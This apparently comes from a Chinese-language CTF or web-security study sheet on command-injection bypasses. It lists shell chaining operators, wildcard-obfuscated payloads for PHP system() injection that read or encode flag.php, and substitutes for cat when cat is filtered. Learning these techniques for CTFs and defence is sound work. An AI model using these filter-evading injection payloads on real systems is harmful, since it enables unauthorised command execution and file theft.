二、命令执行
2.6 正则
正则表达式 – 语法 | 菜鸟教程
2.7 常用的绕过姿势
2.7.1 常用符号
a.命令连接符
- Windows和Linux都⽀持的命令连接符:
cmd1 | cmd2 只执行 cmd2 |
cmd1 || cmd2 只有当 cmd1 执行失败后, cmd2 才被执行 |
cmd1 & cmd2 先执行 cmd1 ,不管是否成功,都会执行 cmd2 |
cmd1 && cmd2 先执行 cmd1 ,只有 cmd1 执行成功后才执行 cmd2 ,否则不执行 cmd2 |
- Linux特有:分号
cmd1 ; cmd2 按顺序依次执行,先执行 cmd1 再执行 cmd2 |
b.通配符
? | 单个字符 |
* |
零个、单个或多个字符 |
例⼦:遇到system($_GET['c']);,则c可以传参
/???/?s --help |
# 可代表 /bin/ls --help |
/???/????64 f???.??? |
# 可代表 /bin/base64 flag.php:base64 编码 flag.php 的内容。 |
/???/?[a][t] ?''?''?''?'' |
# 可代表 /usr/bin/bzip2 flag.php: 将 flag.php 文件进行压缩,然后再将其下载。 |
/???/?at ???? |
# 可代表 /bin/cat: test: |
/???/?[a]''[t] ?''?''?''?'' |
2.7.2 cat 绕过
more |
一页一页的显示档案内容 |
less |
与 more 类似,但是比 more 更好的是,他可以 [pg dn][pg up] 翻页 |
head | 查看头几行 |
tac |
从最后一行开始显示,可以看出 tac 是 cat 的反向显示 |
tail | 查看尾几行 |
nl | 显示的时候,顺便输出行号 |
od | 以二进制的方式读取档案内容 |
vi | 一种编辑器,可以查看 |
vim | 一种编辑器,可以查看 |
sort | 可以查看 |
uniq | 可以查看 |
file-f | 报错出具体内容 |
sed | 一种编辑器,可以查看 |
grep |
在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file、strings |